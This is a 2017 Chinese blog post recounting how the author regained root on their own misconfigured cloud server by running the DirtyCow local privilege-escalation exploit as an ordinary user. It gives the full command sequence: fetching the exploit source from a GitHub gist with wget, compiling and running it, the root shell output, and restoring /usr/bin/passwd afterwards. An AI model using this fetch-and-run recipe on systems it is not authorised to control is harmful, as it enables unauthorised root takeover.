红联Linux门户
Linux帮助

一次本地提权的实战演练

发布时间:2017-04-02 09:29:18来源:linux网站作者:haw_haw
Why
开发同学在线上一台公有云的机器上调试系统环境的时候,把 /etc/security/limits.conf 给改坏了,这是第二次改坏这个文件了,具体怎么改坏的,为什么改坏了会导致不能登录我单独来说(先挖坑),我这里只讲现象,这一次改坏的情况还好,只影响 root 用户,普通用户还能登录。于是就想能不能用普通用户本地提权成 root,再去修复文件 /etc/security/limits.conf
 
Howto
yum -y install wget gcc;
# 安装必需软件
su - nagios;
# 切换成普通用户(nagios)
id;
# 测试用户身份权限
系统输出:
uid=500(nagios) gid=500(nagios) groups=500(nagios)
可以看出用户 nagios 是普通用户(uid 和 gid 都是 500)
cd /tmp;
# 危险动作在 /tmp 目录下做比较好
wget \  https://gist.githubusercontent.com/KrE80r/42f8629577db95782d5e4f609f437a54/raw/71c902f55c09aa8ced351690e1e627363c231b45/c0w.c;
# 获取 exploit code
gcc -pthread c0w.c -o c0w;
# 编译之
./c0w;
# 执行(exploit code)
系统输出:
()
(o o)__/
@@ ` \
\ __, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 9c9bf000
madvise 0
ptrace 0
再执行:
/usr/bin/passwd;
whoami;id;
系统提示:
root
uid=0(root) gid=500(nagios) groups=0(root),500(nagios) 
由此可以看出用户已经变成 root(uid 为 0),主组还是 nagios,但同时也已经是 root 组成员
最后,记得把 /tmp/bak 恢复回去成 /usr/bin/passwd
mv /tmp/bak /usr/bin/passwd;
chmod 4755 /usr/bin/passwd;
chown root:root /usr/bin/passwd;
 
本文永久更新地址:http://www.linuxdiyf.com/linux/29670.html